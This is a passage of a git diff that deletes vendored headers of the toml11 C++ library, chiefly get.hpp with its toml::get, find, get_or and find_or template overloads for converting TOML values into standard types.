-//     static T from_toml(const toml::value& v)
-//     {
-//         // User-defined conversions ...
-//     }
-// };
-
-} // toml
-#endif // TOML11_FROM_HPP
diff --git a/src/toml11/toml/get.hpp b/src/toml11/toml/get.hpp
deleted file mode 100644
index d7fdf553b22..00000000000
--- a/src/toml11/toml/get.hpp
+++ /dev/null
@@ -1,1117 +0,0 @@
-//     Copyright Toru Niina 2017.
-// Distributed under the MIT License.
-#ifndef TOML11_GET_HPP
-#define TOML11_GET_HPP
-#include <algorithm>
-
-#include "from.hpp"
-#include "result.hpp"
-#include "value.hpp"
-
-namespace toml
-{
-
-// ============================================================================
-// exact toml::* type
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<detail::is_exact_toml_type<T, basic_value<C, M, V>>::value, T> &
-get(basic_value<C, M, V>& v)
-{
-    return v.template cast<detail::type_to_enum<T, basic_value<C, M, V>>::value>();
-}
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<detail::is_exact_toml_type<T, basic_value<C, M, V>>::value, T> const&
-get(const basic_value<C, M, V>& v)
-{
-    return v.template cast<detail::type_to_enum<T, basic_value<C, M, V>>::value>();
-}
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<detail::is_exact_toml_type<T, basic_value<C, M, V>>::value, T>
-get(basic_value<C, M, V>&& v)
-{
-    return T(std::move(v).template cast<detail::type_to_enum<T, basic_value<C, M, V>>::value>());
-}
-
-// ============================================================================
-// T == toml::value; identity transformation.
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-inline detail::enable_if_t<std::is_same<T, basic_value<C, M, V>>::value, T>&
-get(basic_value<C, M, V>& v)
-{
-    return v;
-}
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-inline detail::enable_if_t<std::is_same<T, basic_value<C, M, V>>::value, T> const&
-get(const basic_value<C, M, V>& v)
-{
-    return v;
-}
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-inline detail::enable_if_t<std::is_same<T, basic_value<C, M, V>>::value, T>
-get(basic_value<C, M, V>&& v)
-{
-    return basic_value<C, M, V>(std::move(v));
-}
-
-// ============================================================================
-// T == toml::basic_value<C2, M2, V2>; basic_value -> basic_value
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-inline detail::enable_if_t<detail::conjunction<detail::is_basic_value<T>,
-    detail::negation<std::is_same<T, basic_value<C, M, V>>>
-    >::value, T>
-get(const basic_value<C, M, V>& v)
-{
-    return T(v);
-}
-
-// ============================================================================
-// integer convertible from toml::Integer
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-inline detail::enable_if_t<detail::conjunction<
-    std::is_integral<T>,                            // T is integral
-    detail::negation<std::is_same<T, bool>>,        // but not bool
-    detail::negation<                               // but not toml::integer
-        detail::is_exact_toml_type<T, basic_value<C, M, V>>>
-    >::value, T>
-get(const basic_value<C, M, V>& v)
-{
-    return static_cast<T>(v.as_integer());
-}
-
-// ============================================================================
-// floating point convertible from toml::Float
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-inline detail::enable_if_t<detail::conjunction<
-    std::is_floating_point<T>,                      // T is floating_point
-    detail::negation<                               // but not toml::floating
-        detail::is_exact_toml_type<T, basic_value<C, M, V>>>
-    >::value, T>
-get(const basic_value<C, M, V>& v)
-{
-    return static_cast<T>(v.as_floating());
-}
-
-// ============================================================================
-// std::string; toml uses its own toml::string, but it should be convertible to
-// std::string seamlessly
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-inline detail::enable_if_t<std::is_same<T, std::string>::value, std::string>&
-get(basic_value<C, M, V>& v)
-{
-    return v.as_string().str;
-}
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-inline detail::enable_if_t<std::is_same<T, std::string>::value, std::string> const&
-get(const basic_value<C, M, V>& v)
-{
-    return v.as_string().str;
-}
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-inline detail::enable_if_t<std::is_same<T, std::string>::value, std::string>
-get(basic_value<C, M, V>&& v)
-{
-    return std::string(std::move(v.as_string().str));
-}
-
-// ============================================================================
-// std::string_view
-
-#if defined(TOML11_USING_STRING_VIEW) && TOML11_USING_STRING_VIEW>0
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-inline detail::enable_if_t<std::is_same<T, std::string_view>::value, std::string_view>
-get(const basic_value<C, M, V>& v)
-{
-    return std::string_view(v.as_string().str);
-}
-#endif
-
-// ============================================================================
-// std::chrono::duration from toml::local_time.
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-inline detail::enable_if_t<detail::is_chrono_duration<T>::value, T>
-get(const basic_value<C, M, V>& v)
-{
-    return std::chrono::duration_cast<T>(
-            std::chrono::nanoseconds(v.as_local_time()));
-}
-
-// ============================================================================
-// std::chrono::system_clock::time_point from toml::datetime variants
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-inline detail::enable_if_t<
-    std::is_same<std::chrono::system_clock::time_point, T>::value, T>
-get(const basic_value<C, M, V>& v)
-{
-    switch(v.type())
-    {
-        case value_t::local_date:
-        {
-            return std::chrono::system_clock::time_point(v.as_local_date());
-        }
-        case value_t::local_datetime:
-        {
-            return std::chrono::system_clock::time_point(v.as_local_datetime());
-        }
-        case value_t::offset_datetime:
-        {
-            return std::chrono::system_clock::time_point(v.as_offset_datetime());
-        }
-        default:
-        {
-            throw type_error(detail::format_underline("toml::value: "
-                "bad_cast to std::chrono::system_clock::time_point", {
-                    {v.location(), concat_to_string("the actual type is ", v.type())}
-                }), v.location());
-        }
-    }
-}
-
-// ============================================================================
-// forward declaration to use this recursively. ignore this and go ahead.
-
-// array-like type with push_back(value) method
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<detail::conjunction<
-    detail::is_container<T>,         // T is a container
-    detail::has_push_back_method<T>, // T::push_back(value) works
-    detail::negation<                // but not toml::array
-        detail::is_exact_toml_type<T, basic_value<C, M, V>>>
-    >::value, T>
-get(const basic_value<C, M, V>&);
-
-// array-like type without push_back(value) method
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<detail::conjunction<
-    detail::is_container<T>,                           // T is a container
-    detail::negation<detail::has_push_back_method<T>>, // w/o push_back(...)
-    detail::negation<                                  // not toml::array
-        detail::is_exact_toml_type<T, basic_value<C, M, V>>>
-    >::value, T>
-get(const basic_value<C, M, V>&);
-
-// std::pair<T1, T2>
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<detail::is_std_pair<T>::value, T>
-get(const basic_value<C, M, V>&);
-
-// std::tuple<T1, T2, ...>
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<detail::is_std_tuple<T>::value, T>
-get(const basic_value<C, M, V>&);
-
-// map-like classes
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<detail::conjunction<
-    detail::is_map<T>, // T is map
-    detail::negation<  // but not toml::table
-        detail::is_exact_toml_type<T, basic_value<C, M, V>>>
-    >::value, T>
-get(const basic_value<C, M, V>&);
-
-// T.from_toml(v)
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<detail::conjunction<
-    detail::negation<                         // not a toml::* type
-        detail::is_exact_toml_type<T, basic_value<C, M, V>>>,
-    detail::has_from_toml_method<T, C, M, V>, // but has from_toml(toml::value)
-    std::is_default_constructible<T>          // and default constructible
-    >::value, T>
-get(const basic_value<C, M, V>&);
-
-// toml::from<T>::from_toml(v)
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<detail::has_specialized_from<T>::value, T>
-get(const basic_value<C, M, V>&);
-
-// T(const toml::value&) and T is not toml::basic_value,
-// and it does not have `from<T>` nor `from_toml`.
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<detail::conjunction<
-    detail::negation<detail::is_basic_value<T>>,
-    std::is_constructible<T, const basic_value<C, M, V>&>,
-    detail::negation<detail::has_from_toml_method<T, C, M, V>>,
-    detail::negation<detail::has_specialized_from<T>>
-    >::value, T>
-get(const basic_value<C, M, V>&);
-
-// ============================================================================
-// array-like types; most likely STL container, like std::vector, etc.
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<detail::conjunction<
-    detail::is_container<T>,         // T is a container
-    detail::has_push_back_method<T>, // container.push_back(elem) works
-    detail::negation<                // but not toml::array
-        detail::is_exact_toml_type<T, basic_value<C, M, V>>>
-    >::value, T>
-get(const basic_value<C, M, V>& v)
-{
-    using value_type = typename T::value_type;
-    const auto& ary = v.as_array();
-
-    T container;
-    try_reserve(container, ary.size());
-
-    for(const auto& elem : ary)
-    {
-        container.push_back(get<value_type>(elem));
-    }
-    return container;
-}
-
-// ============================================================================
-// std::forward_list does not have push_back, insert, or emplace.
-// It has insert_after, emplace_after, push_front.
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<detail::is_std_forward_list<T>::value, T>
-get(const basic_value<C, M, V>& v)
-{
-    using value_type = typename T::value_type;
-    T container;
-    for(const auto& elem : v.as_array())
-    {
-        container.push_front(get<value_type>(elem));
-    }
-    container.reverse();
-    return container;
-}
-
-// ============================================================================
-// array-like types, without push_back(). most likely [std|boost]::array.
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<detail::conjunction<
-    detail::is_container<T>,                           // T is a container
-    detail::negation<detail::has_push_back_method<T>>, // w/o push_back
-    detail::negation<                                  // T is not toml::array
-        detail::is_exact_toml_type<T, basic_value<C, M, V>>>
-    >::value, T>
-get(const basic_value<C, M, V>& v)
-{
-    using value_type = typename T::value_type;
-    const auto& ar = v.as_array();
-
-    T container;
-    if(ar.size() != container.size())
-    {
-        throw std::out_of_range(detail::format_underline(concat_to_string(
-            "toml::get: specified container size is ", container.size(),
-            " but there are ", ar.size(), " elements in toml array."), {
-                {v.location(), "here"}
-            }));
-    }
-    for(std::size_t i=0; i<ar.size(); ++i)
-    {
-        container[i] = ::toml::get<value_type>(ar[i]);
-    }
-    return container;
-}
-
-// ============================================================================
-// std::pair.
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<detail::is_std_pair<T>::value, T>
-get(const basic_value<C, M, V>& v)
-{
-    using first_type  = typename T::first_type;
-    using second_type = typename T::second_type;
-
-    const auto& ar = v.as_array();
-    if(ar.size() != 2)
-    {
-        throw std::out_of_range(detail::format_underline(concat_to_string(
-            "toml::get: specified std::pair but there are ", ar.size(),
-            " elements in toml array."), {{v.location(), "here"}}));
-    }
-    return std::make_pair(::toml::get<first_type >(ar.at(0)),
-                          ::toml::get<second_type>(ar.at(1)));
-}
-
-// ============================================================================
-// std::tuple.
-
-namespace detail
-{
-template<typename T, typename Array, std::size_t ... I>
-T get_tuple_impl(const Array& a, index_sequence<I...>)
-{
-    return std::make_tuple(
-        ::toml::get<typename std::tuple_element<I, T>::type>(a.at(I))...);
-}
-} // detail
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<detail::is_std_tuple<T>::value, T>
-get(const basic_value<C, M, V>& v)
-{
-    const auto& ar = v.as_array();
-    if(ar.size() != std::tuple_size<T>::value)
-    {
-        throw std::out_of_range(detail::format_underline(concat_to_string(
-            "toml::get: specified std::tuple with ",
-            std::tuple_size<T>::value, " elements, but there are ", ar.size(),
-            " elements in toml array."), {{v.location(), "here"}}));
-    }
-    return detail::get_tuple_impl<T>(ar,
-            detail::make_index_sequence<std::tuple_size<T>::value>{});
-}
-
-// ============================================================================
-// map-like types; most likely STL map, like std::map or std::unordered_map.
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<detail::conjunction<
-    detail::is_map<T>, // T is map
-    detail::negation<  // but not toml::array
-        detail::is_exact_toml_type<T, basic_value<C, M, V>>>
-    >::value, T>
-get(const basic_value<C, M, V>& v)
-{
-    using key_type    = typename T::key_type;
-    using mapped_type = typename T::mapped_type;
-    static_assert(std::is_convertible<std::string, key_type>::value,
-                  "toml::get only supports map type of which key_type is "
-                  "convertible from std::string.");
-    T map;
-    for(const auto& kv : v.as_table())
-    {
-        map.emplace(key_type(kv.first), get<mapped_type>(kv.second));
-    }
-    return map;
-}
-
-// ============================================================================
-// user-defined, but compatible types.
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<detail::conjunction<
-    detail::negation<                         // not a toml::* type
-        detail::is_exact_toml_type<T, basic_value<C, M, V>>>,
-    detail::has_from_toml_method<T, C, M, V>, // but has from_toml(toml::value) memfn
-    std::is_default_constructible<T>          // and default constructible
-    >::value, T>
-get(const basic_value<C, M, V>& v)
-{
-    T ud;
-    ud.from_toml(v);
-    return ud;
-}
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<detail::has_specialized_from<T>::value, T>
-get(const basic_value<C, M, V>& v)
-{
-    return ::toml::from<T>::from_toml(v);
-}
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<detail::conjunction<
-    detail::negation<detail::is_basic_value<T>>,                // T is not a toml::value
-    std::is_constructible<T, const basic_value<C, M, V>&>,      // T is constructible from toml::value
-    detail::negation<detail::has_from_toml_method<T, C, M, V>>, // and T does not have T.from_toml(v);
-    detail::negation<detail::has_specialized_from<T>>           // and T does not have toml::from<T>{};
-    >::value, T>
-get(const basic_value<C, M, V>& v)
-{
-    return T(v);
-}
-
-// ============================================================================
-// find
-
-// ----------------------------------------------------------------------------
-// these overloads do not require to set T. and returns value itself.
-template<typename C,
-         template<typename ...> class M, template<typename ...> class V>
-basic_value<C, M, V> const& find(const basic_value<C, M, V>& v, const key& ky)
-{
-    const auto& tab = v.as_table();
-    if(tab.count(ky) == 0)
-    {
-        detail::throw_key_not_found_error(v, ky);
-    }
-    return tab.at(ky);
-}
-template<typename C,
-         template<typename ...> class M, template<typename ...> class V>
-basic_value<C, M, V>& find(basic_value<C, M, V>& v, const key& ky)
-{
-    auto& tab = v.as_table();
-    if(tab.count(ky) == 0)
-    {
-        detail::throw_key_not_found_error(v, ky);
-    }
-    return tab.at(ky);
-}
-template<typename C,
-         template<typename ...> class M, template<typename ...> class V>
-basic_value<C, M, V> find(basic_value<C, M, V>&& v, const key& ky)
-{
-    typename basic_value<C, M, V>::table_type tab = std::move(v).as_table();
-    if(tab.count(ky) == 0)
-    {
-        detail::throw_key_not_found_error(v, ky);
-    }
-    return basic_value<C, M, V>(std::move(tab.at(ky)));
-}
-
-// ----------------------------------------------------------------------------
-// find(value, idx)
-template<typename C,
-         template<typename ...> class M, template<typename ...> class V>
-basic_value<C, M, V> const&
-find(const basic_value<C, M, V>& v, const std::size_t idx)
-{
-    const auto& ary = v.as_array();
-    if(ary.size() <= idx)
-    {
-        throw std::out_of_range(detail::format_underline(concat_to_string(
-            "index ", idx, " is out of range"), {{v.location(), "in this array"}}));
-    }
-    return ary.at(idx);
-}
-template<typename C,
-         template<typename ...> class M, template<typename ...> class V>
-basic_value<C, M, V>& find(basic_value<C, M, V>& v, const std::size_t idx)
-{
-    auto& ary = v.as_array();
-    if(ary.size() <= idx)
-    {
-        throw std::out_of_range(detail::format_underline(concat_to_string(
-            "index ", idx, " is out of range"), {{v.location(), "in this array"}}));
-    }
-    return ary.at(idx);
-}
-template<typename C,
-         template<typename ...> class M, template<typename ...> class V>
-basic_value<C, M, V> find(basic_value<C, M, V>&& v, const std::size_t idx)
-{
-    auto& ary = v.as_array();
-    if(ary.size() <= idx)
-    {
-        throw std::out_of_range(detail::format_underline(concat_to_string(
-            "index ", idx, " is out of range"), {{v.location(), "in this array"}}));
-    }
-    return basic_value<C, M, V>(std::move(ary.at(idx)));
-}
-
-// ----------------------------------------------------------------------------
-// find<T>(value, key);
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-decltype(::toml::get<T>(std::declval<basic_value<C, M, V> const&>()))
-find(const basic_value<C, M, V>& v, const key& ky)
-{
-    const auto& tab = v.as_table();
-    if(tab.count(ky) == 0)
-    {
-        detail::throw_key_not_found_error(v, ky);
-    }
-    return ::toml::get<T>(tab.at(ky));
-}
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-decltype(::toml::get<T>(std::declval<basic_value<C, M, V>&>()))
-find(basic_value<C, M, V>& v, const key& ky)
-{
-    auto& tab = v.as_table();
-    if(tab.count(ky) == 0)
-    {
-        detail::throw_key_not_found_error(v, ky);
-    }
-    return ::toml::get<T>(tab.at(ky));
-}
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-decltype(::toml::get<T>(std::declval<basic_value<C, M, V>&&>()))
-find(basic_value<C, M, V>&& v, const key& ky)
-{
-    typename basic_value<C, M, V>::table_type tab = std::move(v).as_table();
-    if(tab.count(ky) == 0)
-    {
-        detail::throw_key_not_found_error(v, ky);
-    }
-    return ::toml::get<T>(std::move(tab.at(ky)));
-}
-
-// ----------------------------------------------------------------------------
-// find<T>(value, idx)
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-decltype(::toml::get<T>(std::declval<basic_value<C, M, V> const&>()))
-find(const basic_value<C, M, V>& v, const std::size_t idx)
-{
-    const auto& ary = v.as_array();
-    if(ary.size() <= idx)
-    {
-        throw std::out_of_range(detail::format_underline(concat_to_string(
-            "index ", idx, " is out of range"), {{v.location(), "in this array"}}));
-    }
-    return ::toml::get<T>(ary.at(idx));
-}
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-decltype(::toml::get<T>(std::declval<basic_value<C, M, V>&>()))
-find(basic_value<C, M, V>& v, const std::size_t idx)
-{
-    auto& ary = v.as_array();
-    if(ary.size() <= idx)
-    {
-        throw std::out_of_range(detail::format_underline(concat_to_string(
-            "index ", idx, " is out of range"), {{v.location(), "in this array"}}));
-    }
-    return ::toml::get<T>(ary.at(idx));
-}
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-decltype(::toml::get<T>(std::declval<basic_value<C, M, V>&&>()))
-find(basic_value<C, M, V>&& v, const std::size_t idx)
-{
-    typename basic_value<C, M, V>::array_type ary = std::move(v).as_array();
-    if(ary.size() <= idx)
-    {
-        throw std::out_of_range(detail::format_underline(concat_to_string(
-            "index ", idx, " is out of range"), {{v.location(), "in this array"}}));
-    }
-    return ::toml::get<T>(std::move(ary.at(idx)));
-}
-
-// --------------------------------------------------------------------------
-// toml::find(toml::value, toml::key, Ts&& ... keys)
-
-namespace detail
-{
-// It suppresses warnings by -Wsign-conversion. Let's say we have the following
-// code.
-// ```cpp
-// const auto x = toml::find<std::string>(data, "array", 0);
-// ```
-// Here, the type of literal number `0` is `int`. `int` is a signed integer.
-// `toml::find` takes `std::size_t` as an index. So it causes implicit sign
-// conversion and `-Wsign-conversion` warns about it. Using `0u` instead of `0`
-// suppresses the warning, but it makes user code messy.
-//     To suppress this warning, we need to be aware of type conversion caused
-// by `toml::find(v, key1, key2, ... keys)`. But the thing is that the types of
-// keys can be any combination of {string-like, size_t-like}. Of course we can't
-// write down all the combinations. Thus we need to use some function that
-// recognize the type of argument and cast it into `std::string` or
-// `std::size_t` depending on the context.
-//     `key_cast` does the job. It has 2 overloads. One is invoked when the
-// argument type is an integer and cast the argument into `std::size_t`. The
-// other is invoked when the argument type is not an integer, possibly one of
-// std::string, const char[N] or const char*, and construct std::string from
-// the argument.
-//     `toml::find(v, k1, k2, ... ks)` uses `key_cast` before passing `ks` to
-// `toml::find(v, k)` to suppress -Wsign-conversion.
-
-template<typename T>
-enable_if_t<conjunction<std::is_integral<remove_cvref_t<T>>,
-            negation<std::is_same<remove_cvref_t<T>, bool>>>::value, std::size_t>
-key_cast(T&& v) noexcept
-{
-    return std::size_t(v);
-}
-template<typename T>
-enable_if_t<negation<conjunction<std::is_integral<remove_cvref_t<T>>,
-            negation<std::is_same<remove_cvref_t<T>, bool>>>>::value, std::string>
-key_cast(T&& v) noexcept
-{
-    return std::string(std::forward<T>(v));
-}
-} // detail
-
-template<typename C,
-         template<typename ...> class M, template<typename ...> class V,
-         typename Key1, typename Key2, typename ... Keys>
-const basic_value<C, M, V>&
-find(const basic_value<C, M, V>& v, Key1&& k1, Key2&& k2, Keys&& ... keys)
-{
-    return ::toml::find(::toml::find(v, detail::key_cast(k1)),
-            detail::key_cast(k2), std::forward<Keys>(keys)...);
-}
-template<typename C,
-         template<typename ...> class M, template<typename ...> class V,
-         typename Key1, typename Key2, typename ... Keys>
-basic_value<C, M, V>&
-find(basic_value<C, M, V>& v, Key1&& k1, Key2&& k2, Keys&& ... keys)
-{
-    return ::toml::find(::toml::find(v, detail::key_cast(k1)),
-            detail::key_cast(k2), std::forward<Keys>(keys)...);
-}
-template<typename C,
-         template<typename ...> class M, template<typename ...> class V,
-         typename Key1, typename Key2, typename ... Keys>
-basic_value<C, M, V>
-find(basic_value<C, M, V>&& v, Key1&& k1, Key2&& k2, Keys&& ... keys)
-{
-    return ::toml::find(::toml::find(std::move(v), std::forward<Key1>(k1)),
-            detail::key_cast(k2), std::forward<Keys>(keys)...);
-}
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V,
-         typename Key1, typename Key2, typename ... Keys>
-decltype(::toml::get<T>(std::declval<const basic_value<C, M, V>&>()))
-find(const basic_value<C, M, V>& v, Key1&& k1, Key2&& k2, Keys&& ... keys)
-{
-    return ::toml::find<T>(::toml::find(v, detail::key_cast(k1)),
-            detail::key_cast(k2), std::forward<Keys>(keys)...);
-}
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V,
-         typename Key1, typename Key2, typename ... Keys>
-decltype(::toml::get<T>(std::declval<basic_value<C, M, V>&>()))
-find(basic_value<C, M, V>& v, Key1&& k1, Key2&& k2, Keys&& ... keys)
-{
-    return ::toml::find<T>(::toml::find(v, detail::key_cast(k1)),
-            detail::key_cast(k2), std::forward<Keys>(keys)...);
-}
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V,
-         typename Key1, typename Key2, typename ... Keys>
-decltype(::toml::get<T>(std::declval<basic_value<C, M, V>&&>()))
-find(basic_value<C, M, V>&& v, Key1&& k1, Key2&& k2, Keys&& ... keys)
-{
-    return ::toml::find<T>(::toml::find(std::move(v), detail::key_cast(k1)),
-            detail::key_cast(k2), std::forward<Keys>(keys)...);
-}
-
-// ============================================================================
-// get_or(value, fallback)
-
-template<typename C,
-         template<typename ...> class M, template<typename ...> class V>
-basic_value<C, M, V> const&
-get_or(const basic_value<C, M, V>& v, const basic_value<C, M, V>&)
-{
-    return v;
-}
-template<typename C,
-         template<typename ...> class M, template<typename ...> class V>
-basic_value<C, M, V>&
-get_or(basic_value<C, M, V>& v, basic_value<C, M, V>&)
-{
-    return v;
-}
-template<typename C,
-         template<typename ...> class M, template<typename ...> class V>
-basic_value<C, M, V>
-get_or(basic_value<C, M, V>&& v, basic_value<C, M, V>&&)
-{
-    return v;
-}
-
-// ----------------------------------------------------------------------------
-// specialization for the exact toml types (return type becomes lvalue ref)
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<
-    detail::is_exact_toml_type<T, basic_value<C, M, V>>::value, T> const&
-get_or(const basic_value<C, M, V>& v, const T& opt)
-{
-    try
-    {
-        return get<detail::remove_cvref_t<T>>(v);
-    }
-    catch(...)
-    {
-        return opt;
-    }
-}
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<
-    detail::is_exact_toml_type<T, basic_value<C, M, V>>::value, T>&
-get_or(basic_value<C, M, V>& v, T& opt)
-{
-    try
-    {
-        return get<detail::remove_cvref_t<T>>(v);
-    }
-    catch(...)
-    {
-        return opt;
-    }
-}
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<detail::is_exact_toml_type<detail::remove_cvref_t<T>,
-    basic_value<C, M, V>>::value, detail::remove_cvref_t<T>>
-get_or(basic_value<C, M, V>&& v, T&& opt)
-{
-    try
-    {
-        return get<detail::remove_cvref_t<T>>(std::move(v));
-    }
-    catch(...)
-    {
-        return detail::remove_cvref_t<T>(std::forward<T>(opt));
-    }
-}
-
-// ----------------------------------------------------------------------------
-// specialization for std::string (return type becomes lvalue ref)
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<std::is_same<detail::remove_cvref_t<T>, std::string>::value,
-    std::string> const&
-get_or(const basic_value<C, M, V>& v, const T& opt)
-{
-    try
-    {
-        return v.as_string().str;
-    }
-    catch(...)
-    {
-        return opt;
-    }
-}
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<std::is_same<T, std::string>::value, std::string>&
-get_or(basic_value<C, M, V>& v, T& opt)
-{
-    try
-    {
-        return v.as_string().str;
-    }
-    catch(...)
-    {
-        return opt;
-    }
-}
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<
-    std::is_same<detail::remove_cvref_t<T>, std::string>::value, std::string>
-get_or(basic_value<C, M, V>&& v, T&& opt)
-{
-    try
-    {
-        return std::move(v.as_string().str);
-    }
-    catch(...)
-    {
-        return std::string(std::forward<T>(opt));
-    }
-}
-
-// ----------------------------------------------------------------------------
-// specialization for string literal
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<detail::is_string_literal<
-    typename std::remove_reference<T>::type>::value, std::string>
-get_or(const basic_value<C, M, V>& v, T&& opt)
-{
-    try
-    {
-        return std::move(v.as_string().str);
-    }
-    catch(...)
-    {
-        return std::string(std::forward<T>(opt));
-    }
-}
-
-// ----------------------------------------------------------------------------
-// others (require type conversion and return type cannot be lvalue reference)
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<detail::conjunction<
-    detail::negation<detail::is_exact_toml_type<detail::remove_cvref_t<T>,
-        basic_value<C, M, V>>>,
-    detail::negation<std::is_same<std::string, detail::remove_cvref_t<T>>>,
-    detail::negation<detail::is_string_literal<
-        typename std::remove_reference<T>::type>>
-    >::value, detail::remove_cvref_t<T>>
-get_or(const basic_value<C, M, V>& v, T&& opt)
-{
-    try
-    {
-        return get<detail::remove_cvref_t<T>>(v);
-    }
-    catch(...)
-    {
-        return detail::remove_cvref_t<T>(std::forward<T>(opt));
-    }
-}
-
-// ===========================================================================
-// find_or(value, key, fallback)
-
-template<typename C,
-         template<typename ...> class M, template<typename ...> class V>
-basic_value<C, M, V> const&
-find_or(const basic_value<C, M, V>& v, const key& ky,
-        const basic_value<C, M, V>& opt)
-{
-    if(!v.is_table()) {return opt;}
-    const auto& tab = v.as_table();
-    if(tab.count(ky) == 0) {return opt;}
-    return tab.at(ky);
-}
-
-template<typename C,
-         template<typename ...> class M, template<typename ...> class V>
-basic_value<C, M, V>&
-find_or(basic_value<C, M, V>& v, const toml::key& ky, basic_value<C, M, V>& opt)
-{
-    if(!v.is_table()) {return opt;}
-    auto& tab = v.as_table();
-    if(tab.count(ky) == 0) {return opt;}
-    return tab.at(ky);
-}
-
-template<typename C,
-         template<typename ...> class M, template<typename ...> class V>
-basic_value<C, M, V>
-find_or(basic_value<C, M, V>&& v, const toml::key& ky, basic_value<C, M, V>&& opt)
-{
-    if(!v.is_table()) {return opt;}
-    auto tab = std::move(v).as_table();
-    if(tab.count(ky) == 0) {return opt;}
-    return basic_value<C, M, V>(std::move(tab.at(ky)));
-}
-
-// ---------------------------------------------------------------------------
-// exact types (return type can be a reference)
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<
-    detail::is_exact_toml_type<T, basic_value<C, M, V>>::value, T> const&
-find_or(const basic_value<C, M, V>& v, const key& ky, const T& opt)
-{
-    if(!v.is_table()) {return opt;}
-    const auto& tab = v.as_table();
-    if(tab.count(ky) == 0) {return opt;}
-    return get_or(tab.at(ky), opt);
-}
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<
-    detail::is_exact_toml_type<T, basic_value<C, M, V>>::value, T>&
-find_or(basic_value<C, M, V>& v, const toml::key& ky, T& opt)
-{
-    if(!v.is_table()) {return opt;}
-    auto& tab = v.as_table();
-    if(tab.count(ky) == 0) {return opt;}
-    return get_or(tab.at(ky), opt);
-}
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<
-    detail::is_exact_toml_type<T, basic_value<C, M, V>>::value,
-    detail::remove_cvref_t<T>>
-find_or(basic_value<C, M, V>&& v, const toml::key& ky, T&& opt)
-{
-    if(!v.is_table()) {return std::forward<T>(opt);}
-    auto tab = std::move(v).as_table();
-    if(tab.count(ky) == 0) {return std::forward<T>(opt);}
-    return get_or(std::move(tab.at(ky)), std::forward<T>(opt));
-}
-
-// ---------------------------------------------------------------------------
-// std::string (return type can be a reference)
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<std::is_same<T, std::string>::value, std::string> const&
-find_or(const basic_value<C, M, V>& v, const key& ky, const T& opt)
-{
-    if(!v.is_table()) {return opt;}
-    const auto& tab = v.as_table();
-    if(tab.count(ky) == 0) {return opt;}
-    return get_or(tab.at(ky), opt);
-}
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
